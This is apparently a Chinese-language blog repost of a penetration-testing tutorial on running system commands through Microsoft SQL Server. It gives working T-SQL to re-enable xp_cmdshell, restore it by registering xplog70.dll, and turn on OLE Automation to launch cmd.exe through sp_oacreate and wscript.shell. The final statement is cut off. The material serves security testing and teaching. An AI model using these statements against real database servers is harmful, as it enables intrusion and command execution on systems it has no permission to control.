首页 存档 技术 查看内容

干货 | 如何通过SQL Server执行系统命令?

2018-3-30 13:00 |来自: 互联网 2236 0

摘要: 0x00 简介 渗透测试过程中,大家经常会碰到通过MSSQL来进行提权或执行系统命令之类的操作,通常我们经常会使用xp_cmdshell来进行执行系统命令,但是当xp_cmdshell不能使用的时候,我们还有什么别的方式么?本文将介 ...

0x00 简介

渗透测试过程中,大家经常会碰到通过MSSQL来进行提权或执行系统命令之类的操作,通常我们经常会使用xp_cmdshell来进行执行系统命令,但是当xp_cmdshell不能使用的时候,我们还有什么别的方式么?本文将介绍与分享一下我自己学到的一些姿势。

0x01 常用的一些姿势

1. XP_CMDSHELL

这个大家都比较熟悉了,通过xp_cmdshell来执行命令,可使用以下语句来执行:

exec master..xp_cmdshell "whoami"


默认情况下xp_cmdshell 是禁止的,如下图:

这个时候,可以使用以下命令进行开启:

EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;


关闭一样,只是将上面的后面的那个”1”改成”0”就可以了。
开启以后,则可执行系统命令

如果xp_cmdshell被删除,可以尝试上传xplog70.dll进行恢复,恢复语句:

Exec master.dbo.sp_addextendedproc 'xp_cmdshell','D:\\xplog70.dll'


2. SP_OACREATE

当xp_cmdshell 删除以后,可以使用SP_OACreate。
首先要打开组件:

EXEC sp_configure 'show advanced options', 1;

RECONFIGURE WITH OVERRIDE;

EXEC sp_configure 'Ole Automation Procedures', 1;

RECONFIGURE WITH OVERRIDE;

EXEC sp_configure 'show advanced options', 0;


之后使用以下语句执行命令:

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.EⅩE /c whoami

声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

相关分类

返回顶部